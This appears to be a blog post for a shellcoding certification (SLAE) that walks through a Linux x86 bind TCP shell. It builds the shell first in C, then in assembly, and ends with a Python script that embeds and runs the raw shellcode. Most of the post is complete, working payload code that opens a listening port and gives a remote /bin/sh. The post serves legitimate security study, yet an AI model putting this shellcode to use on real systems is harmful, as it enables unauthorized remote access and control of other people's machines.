0x01 SLAE - Bind TCP

Introduction

The first assignment for the Shellcoding Linux Assembly Language x86 is a Shell Bind TCP in shellcode. Before having a working shellcode, I have taken different steps to understand better the structure and how assembly work.

Foremost, I have developped a working tcp bind shell in C language, since C is the closest programming language before assembly. Then, I translated the C code in assembly. I divided each section by syscall. Finally, I created a simple python script that generate our shellcode from a custom port.

C Program

First thing first, we have to open a socket using the socket function in C. We also need to initialize our parameter for the ip and port that we want to open the socket. Since, it's a bind tcp, we are listening for remote connection. So, we will use the local ip.

Create a socket

In the following block of code, we are initializing arguments and creating a socket from the function socket in C. The first argument AF_INET is the domain which mean that we are using IPv4. The second argument is the type of communication. Here we are using TCP and this correspond to SOCK_STREAM. The last argument correspond to the protocol value. Thus, we are using 0 as IP protocol.

// initialization
struct sockaddr_in bind_addr;
bind_addr.sin_family = AF_INET;
bind_addr.sin_addr.s_addr = INADDR_ANY;
bind_addr.sin_port = htons(8888);

// syscall socket, open a socket
int sock = socket(AF_INET, SOCK_STREAM, 0);

Bind the socket

The next step is to bind the socket that use the ip address and the port. The first argument is the return value of the socket creation. The &bind_addr is the struct of the value that we have initialize upper. The last argument is the size of the struct.

// bind a name to the socket
bind(sock, (struct sockaddr *) &bind_addr, sizeof(bind_addr));

Listen and accept connection

In this step, we need to use the function listen for listening incoming connection and put it in a queue. The listen function takes 2 arguments. The first one is the return value of the socket function. The last argument specify the maximum length of the queue. Since, we don't want more than 1 connection, we can put this value at 0.

// listen for connections on a socket
listen(sock, 0);

The next step is to accept connection. We will use the accept function with three arguments. The first one is the return value of the socket. The second and third one can be set at NULL because we don't need it.

Redirect stdin, stdout and stderr

Indeed, we will need to redirect the input, output and error of the remote shell. To do this, we will use the dup2 function which duplicate the file descriptor.

  • 0 : stdin

  • 1 : stdout

  • 2 : stderr

// return the stdin to client
dup2(opensock, 0);

// return the stdout to client
dup2(opensock, 1);

//return the stderr to client
dup2(opensock, 2);

Open a shell

The last system call is execve which can execute a program. In the following line of code, we are calling /bin/sh to open a shell to the client.

// execve open a shell
execve("/bin/sh", NULL, NULL);

The final C program

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void){

    // initialization
    struct sockaddr_in bind_addr;
    bind_addr.sin_family = AF_INET;
  bind_addr.sin_addr.s_addr = INADDR_ANY;
  bind_addr.sin_port = htons(8888);

    // syscall socket, open a socket
    int sock = socket(AF_INET, SOCK_STREAM, 0);

    // bind a name to the socket
    bind(sock, (struct sockaddr *) &bind_addr, sizeof(bind_addr));

    // listen for connections on a socket
    listen(sock, 0);

    // accept connection
    int opensock = accept(sock, NULL, NULL);

    // return the stdin to client
    dup2(opensock, 0);

    // return the stdout to client
    dup2(opensock, 1);

    //return the stderr to client
    dup2(opensock, 2);

    // execve open a shell
    execve("/bin/sh", NULL, NULL);
}

Assembly version

The assembly version is more complex when you start coding assembly. I have divided each function call by section as I did for the C prototype.

Create a socket

Creating a socket in assembly is a bit different since the most compatible syscall for using socket is socketcall. Indeed, from the man page of socketcall:

On x86-32, socketcall() was historically the only entry point for the sockets API. However, starting in Linux 4.3, direct system calls are pro‐ vided on x86-32 for the sockets API.

Thus, to make sure that our shellcode is compatible with every linux kernel, I will stay with the syscall socketcall.

Before creating our socket, we will clean our registers to make sure they are null and we can use it later.

; clean registers
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

Then, we need to translated the C version in assembly. As I learned in this SLAE, to do a syscall we need to get the syscall # of the socketcall from /usr/include/x86_64-linux-gnu/asm/unistd_32.h.

In that way, we can write our first line of assembly which will contain the integer value 102. Also, it is important to store the value in the 8 bytes registers to avoid null byte. This is why we will store it in al.

; socket syscall
; socket(AF_INET, SOCK_STREAM, 0);
mov al, 102            ; socketcall

Then, socketcall can be aslo used to bind, listen and accept. So, we need ot specify which type of call we want to use. From the definition :

From the file /usr/include/linux/net.h, we can see that the value for the SYS_SOCKET is 1. Thus, our next register will contain that value to indicate that we want to create a socket.

; socket syscall
; socket(AF_INET, SOCK_STREAM, 0);
mov al, 102            ; socketcall
mov bl, 1              ; SYS_SOCKET

The third line of assembly will push our 3 arguments to the stack (i.e : AF_INET, SOCK_STREAM, 0). Since, the stack work from first in last out, we need to push our last argument in first. We also cleaned our register at the start. In this way, the register ecx already contain 0. The push ebx, will push the argument SOCK_STREAM. Since the value of SOCK_STREAM from the definition is 0, we can push ebx straight because the current value is 0. The final push is the value 2 because the value of AF_INET is 2 from the definition in the file /usr/include/x86_64-linux-gnu/bits/socket.h. Finally, we can move the 3 arguments value in the stack in esp and do the syscall. We also need to store the return value of the socket because we will use it later.

; socket syscall
; socket(AF_INET, SOCK_STREAM, 0);
mov al, 102            ; socketcall
mov bl, 1              ; SYS_SOCKET
push ecx               ; 0 protocol
push ebx               ; SOCK_STREAM
push 2                 ; AF_INET
mov ecx, esp           ; stack contains our 3 arguments
int 0x80               ; syscall
mov edi, eax           ; store the socket in edi

Bind the socket

Before binding the socket, I initialize the structure value for the bind_addr. To do this, I pushed to the stack the following :

; bind_addr.sin_family = AF_INET;
; bind_addr.sin_addr.s_addr = INADDR_ANY;
; bind_addr.sin_port = htons(8888);
push edx               ; INADDR_ANY
push word 0xb822       ; listen on port 8888
push word 2            ; AF_INET
mov ecx, esp           ; stack contain our 3 arguments

The first line is pushing 0 to the stack because the value for INADDR_ANY from the definition is 0. Then, hex(8888) is 0x22b8, we push it to the stack. We also see earlier that AF_INET, so we push 2 to the stack. And finally, we move our 3 arguments from the stack in ecx because we will use theses arguments later.

The next step is to do the bind syscall. We will start by using socketcall with SYS_BIND. The value of SYS_BIND is 2. Then, we push 0x10 which is 16 bytes because we have 3 arguments upper (8+8+8). We aslo push ecx which contains our 3 arguments struct. Then, we push edi which contains the return value of the creation of the socket.

; bind syscall
; bind(sock, (struct sockaddr *) &bind_addr, sizeof(bind_addr));
mov al, 102            ; socketcall
mov bl, 2              ; SYS_BIND
push 0x10              ; size of struct
push ecx               ; push ecx to the stack which contains bind_addr struct
push edi               ; push the socket
mov ecx, esp           ; stack contains our 3 arguments
int 0x80               ; syscall

Listen and accept connection

The listen and accept is pretty straight forward. We will also use the socketcall syscall function. However, we will use SYS_LISTEN and SYS_ACCEPT. We will push our arguments to the stack and save the return value of the accept call.

; listen syscall
; listen(sock, 0);
mov al, 102            ; socketcall
mov bl, 4              ; SYS_LISTEN
push edx               ; push 0
push edi               ; push the socket
mov ecx, esp           ; stack contains our 2 arguments
int 0x80               ; syscall

; accept syscall
; int opensock = accept(sock, NULL, NULL);
mov al, 102            ; socketcall
mov bl, 5              ; SYS_ACCEPT
push edx               ; push null
push edx               ; push null
push edi               ; push the socket
mov ecx, esp           ; stack contains our 3 arguments
int 0x80               ; syscall
mov ebx, eax           ; save return value opensock

Redirect stdin, stdout and stderr

For this syscall, we will use the dup2 call which the value is 63. We only need to push 2 arguments. The last one is the stdin for the first call. The first argument is the return value of the accept call which is stored in ebx.

; dup2 stdin syscall
; dup2(opensock, 0);
xor ecx, ecx    ; clean ecx
mov al, 63      ; dup2
; we don't push 0, since ecx is already NULL from the xor
push ebx        ; first argument: opensock
int 0x80        ; syscall

And the two others dup2 call for stdout and stderr.

; dup2 stdout syscall
; dup2(opensock, 1);
mov al, 63      ; dup2
mov cl, 1       ; stdout
push ebx        ; first argument: opensock
int 0x80        ; syscall

; dup2 stderr syscall
; dup2(opensock, 2);
mov al, 63      ; dup2
mov cl, 2       ; stderr
push ebx        ; first argument: opensock
int 0x80        ; syscall

Open a shell

Finally, we have our execve syscall from the SLAE documentation.

; execve syscall
; execve("/bin/sh", NULL, NULL);
xor eax, eax           ; clean registers
push eax               ; push eax to the top of the stack
push 0x68732f2f        ; push 8 bytes //bin/sh
push 0x6e69622f
mov ebx, esp           ; //bin/sh in ebx
mov ecx, eax           ; null in ecx
mov edx, eax           ; null in edx
mov al, 11             ; execve
int 0x80               ; syscall

The final assembly version

; Shell Bind TCP

global _start

_start:

    ; clean registers
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

    ; socket syscall
    ; socket(AF_INET, SOCK_STREAM, 0);
    mov al, 102           ; socketcall
    mov bl, 1             ; SYS_SOCKET
    push ecx              ; 0 protocol
    push ebx              ; SOCK_STREAM
    push 2                ; AF_INET
    mov ecx, esp          ; stack contains our 3 arguments
    int 0x80              ; syscall
    mov edi, eax          ; store the socket in edi

    ; bind_addr.sin_family = AF_INET;
    ; bind_addr.sin_addr.s_addr = INADDR_ANY;
    ; bind_addr.sin_port = htons(8888);
    push edx               ; INADDR_ANY
    push word 0xb822       ; listen on port 8888
    push word 2            ; AF_INET
    mov ecx, esp           ; stack contain our 3 arguments

    ; bind syscall
    ; bind(sock, (struct sockaddr *) &bind_addr, sizeof(bind_addr));
    mov al, 102            ; socketcall
    mov bl, 2              ; SYS_BIND
    push 0x10              ; size of struct
    push ecx               ; push ecx to the stack which contains bind_addr struct
    push edi               ; push the socket
    mov ecx, esp           ; stack contains our 3 arguments
    int 0x80               ; syscall

    ; listen syscall
    ; listen(sock, 0);
    mov al, 102            ; socketcall
    mov bl, 4              ; SYS_LISTEN
    push edx               ; push 0
    push edi               ; push the socket
    mov ecx, esp           ; stack contains our 2 arguments
    int 0x80               ; syscall

    ; accept syscall
    ; int opensock = accept(sock, NULL, NULL);
    mov al, 102            ; socketcall
    mov bl, 5              ; SYS_ACCEPT
    push edx               ; push null
    push edx               ; push null
    push edi               ; push the socket
    mov ecx, esp           ; stack contains our 3 arguments
    int 0x80               ; syscall
    mov ebx, eax           ; save return value opensock

    ; dup2 stdin syscall
    ; dup2(opensock, 0);
    xor ecx, ecx          ; clean ecx
    mov al, 63            ; dup2

  ; we don't push 0, since ecx is already NULL from the xor
    push ebx              ; first argument: opensock
    int 0x80              ; syscall

    ; dup2 stdout syscall
    ; dup2(opensock, 1);
    mov al, 63            ; dup2
    mov cl, 1             ; stdout
    push ebx              ; first argument: opensock
    int 0x80              ; syscall

    ; dup2 stderr syscall
    ; dup2(opensock, 2);
    mov al, 63            ; dup2
    mov cl, 2             ; stderr
    push ebx              ; first argument: opensock
    int 0x80              ; syscall

    ; execve syscall
    ; execve("/bin/sh", NULL, NULL);
    xor eax, eax           ; clean registers
    push eax               ; push eax to the top of the stack
    push 0x68732f2f        ; push 8 bytes //bin/sh
    push 0x6e69622f
    mov ebx, esp           ; //bin/sh in ebx
    mov ecx, eax           ; null in ecx
    mov edx, eax           ; null in edx
    mov al, 11             ; execve
    int 0x80               ; syscall

We can see in the following image that we can successfully execute remote command from the remote shell.

The configurable port number script

Before running the script, we need to set our desired port in the script in hex as it is described in the comment. Then, we can run the shellcode by running the following python script.

import os
import commands

'''
Python 2.7.15rc1 (default, Nov 12 2018, 14:31:15)
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(8888)
'0x22b8'
'''
port = "\\x22\\xb8" # port 8888

shellcode = "\"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xb0\\x66\\xb3\\x01\\x51\\x53\\x6a\\x02" \
            "\\x89\\xe1\\xcd\\x80\\x89\\xc7\\x52\\x66\\x68" + port + "\\x66\\x6a\\x02" \
            "\\x89\\xe1\\xb0\\x66\\xb3\\x02\\x6a\\x10\\x51\\x57\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x04" \
            "\\x52\\x57\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x05\\x52\\x52\\x57\\x89\\xe1\\xcd" \
            "\\x80\\x89\\xc3\\x31\\xc9\\xb0\\x3f\\x53\\xcd\\x80\\xb0\\x3f\\xb1\\x01\\x53\\xcd" \
            "\\x80\\xb0\\x3f\\xb1\\x02\\x53\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68" \
            "\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xc1\\x89\\xc2\\xb0\\x0b\\xcd\\x80\""

f = open("shellcode.c", "w")
f.write("#include<stdio.h>\n\
#include<string.h>\n\
unsigned char code[] = \\\n\
"+ shellcode + ";\n\
main(){\n\
\tint (*ret)() = (int(*)())code;\n\
\tret();\n\
}")
f.close()

print "[*] Running the shellcode"
commands.getstatusoutput("gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode")
os.system("./shellcode")

Conclusion

I hope you enjoy this blog post. I have to mention that strace and gdb has been really useful to debug my assembly program. If you never had the chance to play with, I highly suggest to play with it.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1374

Last updated